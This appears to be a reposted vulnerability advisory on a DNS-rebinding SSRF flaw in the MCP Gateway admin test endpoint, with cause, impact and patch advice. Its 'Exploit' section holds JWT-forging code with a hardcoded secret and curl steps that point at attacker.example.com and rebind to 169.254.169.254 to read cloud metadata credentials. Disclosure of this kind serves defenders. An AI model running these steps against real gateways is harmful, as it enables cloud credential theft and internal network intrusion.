Listen to this Post
The `/admin/gateways/test` endpoint in MCP Gateway validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client (httpx, via ResilientHttpClient) independently re-resolves DNS at connection time with no IP binding between the two operations, creating a Time-of-Check-Time-of-Use (TOCTOU) window exploitable via DNS rebinding.
The `validate_gateway_test_url()` function in `mcpgateway/common/validators.py` (lines 1527–1710) calls `socket.getaddrinfo()` on the submitted hostname and checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16). If the result is clean, the URL is accepted—but the validated URL is passed to the HTTP client as the original hostname string, not as the validated IP address.
No mechanism bridges the two resolutions: the validated IP is never passed to the HTTP client; only the original hostname is forwarded, triggering a second independent lookup; and no TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented. Configuration options `ssrf_blocked_networks` (default: enabled) and `ssrf_dns_fail_closed` (default: True) apply exclusively at validation time and share the same TOCTOU gap.
The source code contains two independent acknowledgements of this limitation. Location 1 (mcpgateway/common/validators.py, lines 1537–1543) explicitly states: “DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding)”. Location 2 (mcpgateway/admin.py, lines 14025–14029) adds: “TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time”. The existence of a named TODO ticket (ICACF-15) confirms this is an open, tracked defect.
Prerequisites: `MCPGATEWAY_ADMIN_API_ENABLED=true` (not the default; must be explicitly enabled) and the attacker holds a credential with explicit `gateways.read` permission assigned via a database role. The endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False), meaning even a platform admin must hold an explicit database-backed role assignment. A credential produced solely via the platform-admin bootstrap bypass (GHSA-m8rv-5m6m-32ff) is rejected with HTTP 403.
DailyCVE Form:
Platform: MCP Gateway Admin API
Version: Affected versions (pre-patch)
Vulnerability: SSRF via DNS Rebinding (TOCTOU)
Severity: Medium
Date: 2026-08-14
Prediction: Patch expected upon ICACF-15 closure
What Undercode Say:
Verify if Admin API is enabled (vulnerable if true)
echo $MCPGATEWAY_ADMIN_API_ENABLED
Check source code acknowledgement
grep -n "DNS TOCTOU Limitation" mcpgateway/common/validators.py
grep -n "ICACF-15" mcpgateway/admin.py
Test direct private IP block (baseline)
curl -s -w "\nHTTP %{http_code}\n" \
-X POST http://127.0.0.1:8000/admin/gateways/test \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
Expected: HTTP 400 — "Invalid gateway URL"
Exploit: (Educational Purposes!)
Generate JWT for user with platform_admin role in DB import datetime, jwt, uuid SECRET = "my-test-key-but-now-longer-than-32-bytes" EMAIL = "[email protected]" now = datetime.datetime.now(datetime.timezone.utc) payload = { "sub": EMAIL, "aud": "mcpgateway-api", "iss": "mcpgateway", "jti": str(uuid.uuid4()), "iat": now, "exp": now + datetime.timedelta(hours=1), } TOKEN = jwt.encode(payload, SECRET, algorithm="HS256") DNS rebinding attack — attacker controls attacker.example.com with TTL=1s Step 1: Initial record: attacker.example.com → 1.2.3.4 (public IP) Step 2: Submit request — validation resolves to 1.2.3.4, SSRF checks pass curl -s -w "\nHTTP %{http_code}\n" \ -X POST http://127.0.0.1:8000/admin/gateways/test \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}' Step 3: Attacker immediately flips DNS: attacker.example.com → 169.254.169.254 Step 4: httpx re-resolves and connects to 169.254.169.254, returns IMDS response
Protection:
- After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client
- Implement a custom `httpx` transport or resolver that binds the socket to the already-resolved address and sets the `Host` header to the original hostname
- Enforce a maximum DNS resolution age and refuse to connect if elapsed time between validation and connection exceeds a configurable threshold
- Alternatively, cache DNS resolution across validation and request phases
Impact:
Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security-credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

